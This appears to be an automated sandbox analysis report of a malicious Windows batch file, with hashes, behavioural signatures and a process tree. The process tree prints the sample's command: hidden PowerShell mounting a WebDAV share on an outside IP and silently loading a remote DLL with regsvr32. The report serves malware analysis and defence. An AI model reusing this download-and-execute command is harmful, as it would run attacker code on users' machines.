Analysis
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max time kernel
140s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 06:32
Static task
static1
Behavioral task
behavioral1
Sample
203552654222231556.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
203552654222231556.bat
Resource
win10v2004-20240709-en
General
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Target
203552654222231556.bat
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Size
2KB
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MD5
b535791e53f779d010407b589640a735
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SHA1
bef4758722e7df2f1434a00d48e793577351c2e0
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SHA256
6f7b233cae407cb9a18f440331922788c6b7b7630e20843b06a6458af0a1a23b
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SHA512
012f93ec6773ae6a5e9c111f06b7bf6058989fb5978f5bfe1cc11957ba0b4000dbd1beed4be15e81a5a3905629814d3fe882e720218541a7e7760d63121e4493
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3540 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3540 powershell.exe 3540 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3540 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4748 wordpad.exe 4748 wordpad.exe 4748 wordpad.exe 4748 wordpad.exe 4748 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4672 wrote to memory of 4748 4672 cmd.exe 85 PID 4672 wrote to memory of 4748 4672 cmd.exe 85 PID 4672 wrote to memory of 3540 4672 cmd.exe 88 PID 4672 wrote to memory of 3540 4672 cmd.exe 88 PID 3540 wrote to memory of 4456 3540 powershell.exe 90 PID 3540 wrote to memory of 4456 3540 powershell.exe 90 PID 3540 wrote to memory of 1020 3540 powershell.exe 91 PID 3540 wrote to memory of 1020 3540 powershell.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\203552654222231556.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:4748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\154611999729138.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:4456
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\154611999729138.dll3⤵PID:1020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:428
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82